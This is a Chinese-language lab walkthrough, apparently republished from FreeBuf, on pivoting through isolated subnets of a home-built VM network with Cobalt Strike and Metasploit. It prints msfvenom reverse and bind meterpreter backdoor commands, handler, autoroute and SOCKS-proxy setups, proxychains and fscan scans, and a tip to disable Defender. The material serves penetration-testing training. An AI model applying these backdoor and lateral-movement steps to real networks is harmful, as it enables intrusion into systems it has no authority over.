内网对抗 - 内网不可达&socket代理通讯
文章描述了环境配置中使用的桥接模式和仅主机模式下的虚拟机设置及CS控制端操作。包括网络隔离、代理配置、Socket设置、信息收集与漏洞利用等步骤。 2025-8-24 13:26:45 Author: www.freebuf.com(查看原文) 阅读量:14 收藏

1756041504_68ab11203bc9d74fea6e5.png!small?1756041505326

环境配置

这里使用了桥接模式和仅主机模式

CS控制端
192.168.16.109
​
#Web机器
Windows Server 2016(Web)
192.168.16.120
192.168.22.11
#SQL数据库服务器
Windows Server 2016(SQL)
192.168.22.22
192.168.33.11
#FILE文件传输服务器
Windows Server 2016(FILE)
192.168.33.22
192.168.44.11
#正常电脑
Windows Server 2016(未配置)PC
192.168.44.22

虚拟机设置仅主机模式

1756041510_68ab112683e7eb9c479d6.png!small?1756041512435

本机设置:断绝本机和2网段,3网段,4网段的通讯。模拟真实环境

1756041523_68ab1133077c1ae5b311b.png!small?1756041524228

虚拟机里面配置对应的服务。在Web服务器上的web添加文件写入内容

环境配置好之后,本机上浏览器访问2网段,加载不进来

1756041528_68ab11389035e4bce783f.png!small?1756041529937

Socket配置

解决:信息收集大点和漏洞利用部分

注意:配置连接IP为C2服务器IP

工具:【WIndows】Proxifier【Linux】Proxychains等

Proxychains使用

#加入修改配置
/etc/proxychains4.conf
#调用加载测试:
proxychains curl http://192.168.22.22

CS上实验操作

总结:就是我们拿下一台服务器以后,直接开代理端口,上代理工具,然后使用我们打下的服务器做信息收集,然后放后门到别人服务器内,然后让目标服务器直接打开端口,然后我们用打下的那台服务器进行主动连接

Web-->SQL

进行操作,CS进入监听状态reverse模式,web在cs上进行上线

1756041560_68ab115891f9bcd95f19b.png!small?1756041562392

【CS】使用代理转发,启用socket4代理,代理服务器端口29551点击运行

相当于CS上开一个节点,然后与22网段通讯

1756041565_68ab115d12e58405d6a51.png!small?1756041566708

获取到信息,除了桥接网络的IP地址,同一个机器上还有一个22网段。进行下面操作

而本地无法与22网段进行通讯,我们借助代理

1756041568_68ab1160c4fecc48b7a1f.png!small?1756041569968

使用工具【Proxifier】设置代理。下面和这个类似

配置文件-->代理服务器SOCKET4版本。CS地址和端口,点击确定

勾选下面的选项

1756041573_68ab116599c39f085e0b4.png!small?1756041575069

配置文件-->代理服务器--->检查

1756041577_68ab1169c98f10bfec347.png!small?1756041579100

配置代理规则

代理规则--->添加-->名称。应用程序:针对程序,目标主机:只通讯的ip地址192.168.2.*,目标端口:任意

代理规则配置前要把其他的配置规则删除掉,default删除不了就不删了

1756041582_68ab116e8cdc2f07e3dd2.png!small?1756041583819

本机上浏览器访问站点创建成功-phpstudy for windows,访问成功

1756041587_68ab1173259130c7ec973.png!small?1756041588189

使用工具fscan

fscan  -h  192.168.2.1/24
fscan -h 192.168.2.22
​
#关闭代理,失败不生效
fscan -h 192.168.2.1/24

扫描到3306端口。说明与22网段可以通讯

1756041593_68ab117981fce3d9609ee.png!small?1756041594565

总结:就是我们拿下一台服务器以后,直接开代理端口,上代理工具,然后使用我们打下的服务器做信息收集,然后放后门到别人服务器内,然后让目标服务器直接打开端口,然后我们用打下的那台服务器进行主动连接

CS监听器【TCP】4444端口

payload:

bind 绑定 正向 让目标机器主动连接你

reverse 反向 主动找目标机器

特性Reverse(反向)监听器Bind(绑定)监听器
连接方向被控主机(受害者)主动向外连接 攻击者服务器攻击者主动向 被控主机(受害者)发起连接
常见场景绝大多数场景,如钓鱼邮件、漏洞利用、下载执行载荷非常特殊的场景,通常需要先有一个Reverse Shell作为跳板
防火墙穿透极易穿透出站规则。因为大多数网络允许内部主机向外发起Web(80/443)等常见端口的连接。极难穿透入站规则。受害者主机的防火墙通常会阻止外部发起的未知连接。
使用频率极高,是标准和首选模式极低,仅用于特定情况
工作流程1. 攻击者启动监听器 2. 载荷在目标机执行 3. 目标机主动呼叫攻击服务器 4. 会话建立1. 攻击者启动监听器(指向目标机的IP) 2. 载荷在目标机执行并绑定一个端口等待 3. 攻击者主动连接目标机的这个端口 4. 会话建立
依赖性依赖攻击者服务器拥有公网IP或可达的IP依赖目标机拥有公网IP或攻击者网络可达的IP(通常在内网中无法直接连接)
风险(对攻击者)较低。只需暴露一个服务器,可以放在云端。较高。需要直接连接可能被监控的目标IP,容易暴露自身。
比喻客服电话:受害者主动打电话给攻击者远程桌面:攻击者主动去连接受害者的电脑

一般都会使用反向后门。我们主机无法对22网段继续通讯,选择使用正向监听

防火墙一般对外部到内部过滤严格,内部出去没过滤或者很少过滤

使用正向连接,【CS】监听tcp的bind,生成exe文件放入SQL机器上

在执行后,多了一个4444端口。等待被连接

只能使用web机器去连接,它上面有2的网段,连接成功

1756041607_68ab118764974cb518d6c.png!small?1756041608393

放入SQL服务器。执行前,exe执行前

#查看端口
netstat -an

1756041613_68ab118dcbef414c763d6.png!small?1756041614761

在运行刚刚生成的exe程序后,执行后会监听一个4444端口

1756041618_68ab1192d5a07e6727867.png!small?1756041619704

输入命令connect 192.168.22.22 4444

1756041625_68ab11999f0bb50596cb7.png!small?1756041626564

查看命令可以获取到

获取到信息,同一个机器上还有一个33网段

1756041631_68ab119fc0825fa34ce26.png!small?1756041632715

查看拓扑图,Web是通过反向代理 --(受害者)主动向外连接 攻击者服务器

而SQL是通过正向代理,攻击者 主动向 被控主机(受害者) 发起连接造成

1756041636_68ab11a4b04dd74fd634f.png!small?1756041637812

SQL-->FILE

【CS】使用代理转发,启用socket代理,代理服务器端口选择65469,socket版本选择4,CS上开一个端口,取得这个的ip的通讯,使用CS的ip地址

修改配置代理里面的端口信息

1756041644_68ab11ace3c0c77aae9aa.png!small?1756041645919

通过fscan扫描,开启了21端口,开启了ftp服务

fscan  -h  192.168.3.1/24
fscan -h 192.168.3.22

1756041650_68ab11b2038a5f50bd51d.png!small?1756041650881

此时使用命令行连接,可以

1756041655_68ab11b749b45dab89fc2.png!small?1756041656137

正向监听的exe程序--->在FILE服务器上运行exe文件,服务器上开启监听状态4444端口

【CS】上进行连接,使用SQL服务器连接,它上面有33网段地址

connect 192.168.33.22 4444

1756041660_68ab11bce1751501e6cf3.png!small?1756041661842

关掉代理,主机上查看命令执行

1756041664_68ab11c07970d7c593927.png!small?1756041665256

查看ip。获取到信息,同一个机器上还有一个44网段.下面对这进行操作

1756041669_68ab11c50b171a1c7589b.png!small?1756041669974

FILE-->PC

192.168.33.22右击设置socket代理,点击运行,端口6816

1756041674_68ab11ca3978fae41c250.png!small?1756041675115

配置代理服务器,代理规则,通讯44网段

1756041677_68ab11cdcbc2a3ae32a72.png!small?1756041678742

使用fscan扫描,放4.exe放入4网段机器

可以检测到下面的端口,证明连接成功

1756041681_68ab11d1eb0b85578bc31.png!small?1756041682907

正向监听的exe程序--->在DC服务器上运行exe文件,服务器上开启监听状态4444端口

【CS】上进行连接,使用FILE服务器连接

connect 192.168.44.22 4444

1756041686_68ab11d6d61784de32b10.png!small?1756041687873

查看ip信息。没有其他网段了,CS代理练习结束

1756041692_68ab11dc1bb7bc034938e.png!small?1756041693014

查看拓扑图

1756041696_68ab11e0598d48d058015.png!small?1756041697163

MSF实验操作

#生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.109 LPORT=3333 -f exe -o msf.exe
​
#msfconsole设置
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
run

msf传到主机上,主机上传到Web机器上。

设置好监听run后,web服务器点击exe上线成功

1756041725_68ab11fdb7e10e8b774f5.png!small?1756041726564

#上线之后信息收集,查看路由信息
run autoroute -p
run post/multi/manage/autoroute
run autoroute -p
#获得路由信息,16网段和22网段
Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
192.168.16.0 255.255.255.0 Session 1
192.168.22.0 255.255.255.0 Session 1

1756041734_68ab1206d0582cca932ff.png!small?1756041735705

Web-->SQL

#跳出session
background
#创建socks节点
use auxiliary/server/socks_proxy
#设置端口。默认5版本
set srvport 7823
run

1756041755_68ab121b7da0b2a52f299.png!small?1756041756312

可以在windows上使用这个代理工具检测

1756041760_68ab122009c509e905019.png!small?1756041760957

Linux设置代理操作

#加入修改配置,最后一行修改版本信息和端口
vim /etc/proxychains4.conf

#调用加载测试:
proxychains curl http://192.168.22.11

#使用nmap扫描
proxychains nmap -p 80,443,21,22 192.168.22.11

1756041765_68ab12255ce989f817ca6.png!small?1756041766155

设置正向后门

#生成后门
msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe -o 77.exe
sessions
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.22.22
set lport 7777
run

1756041782_68ab123624e920b677e56.png!small?1756041783623

查看信息

#获取信息
geruid
Server username: SQL\Administrator

#查看路由信息
run post/multi/manage/autoroute
run autoroute -p

1756041786_68ab123ae9a9191974423.png!small?1756041788321

SQL-->FILE

设置节点

里面的exe执行文件会被杀,把defender关掉即可

#切入后台
background
#创建socks节点
use auxiliary/server/socks_proxy
#设置端口。默认5版本
set srvport 8934
run

1756041857_68ab1281a88cc12f1150d.png!small?1756041858523

Proxychains设置

#修改配置文件最后一行
socks5 127.0.0.1 8934

#调用加载测试:
nmap -p 80,443,21,22 192.168.33.11
nmap -p 80,443,21,22 192.168.33.22

ftp测试,可以连通

1756041864_68ab128898706ed2da753.png!small?1756041865435

设置监听上线

#修改监听地址即可
use exploit/multi/handler
set rhost 192.168.33.22

1756041873_68ab1291b6a6d0b85eee9.png!small?1756041874929

进行信息收集

getuid
Server username: FILE\Administrator

#查看路由信息
run post/multi/manage/autoroute
run autoroute -p

1756041882_68ab129a90be642e63994.png!small?1756041883765

继续操作

FILE-->PC

设置节点

#切入后台
background
#创建socks节点
use auxiliary/server/socks_proxy
#设置端口。默认5版本
set srvport 2531
run

1756041893_68ab12a51f0d88d9e3eb1.png!small?1756041894318

ProxyChain修改配置文件

#修改配置文件最后一行
socks5 127.0.0.1 2531

#调用加载测试:
nmap -p 80,443,21,22 192.168.44.11
nmap -p 80,443,21,22 192.168.44.22

1756041897_68ab12a9ead3501c81906.png!small?1756041898709

#修改监听地址即可
use exploit/multi/handler
set rhost 192.168.44.22

上线成功

1756041902_68ab12ae7f3f1424f4609.png!small?1756041903726

信息收集

meterpreter > getuid
Server username: XUAN-PC\Administrator

1756041907_68ab12b3ab599a8fda8f1.png!small?1756041908998

[*] Did not find any new subnets to add.

实验结束


文章来源: https://www.freebuf.com/articles/system/445576.html
如有侵权请联系:admin#unsafe.sh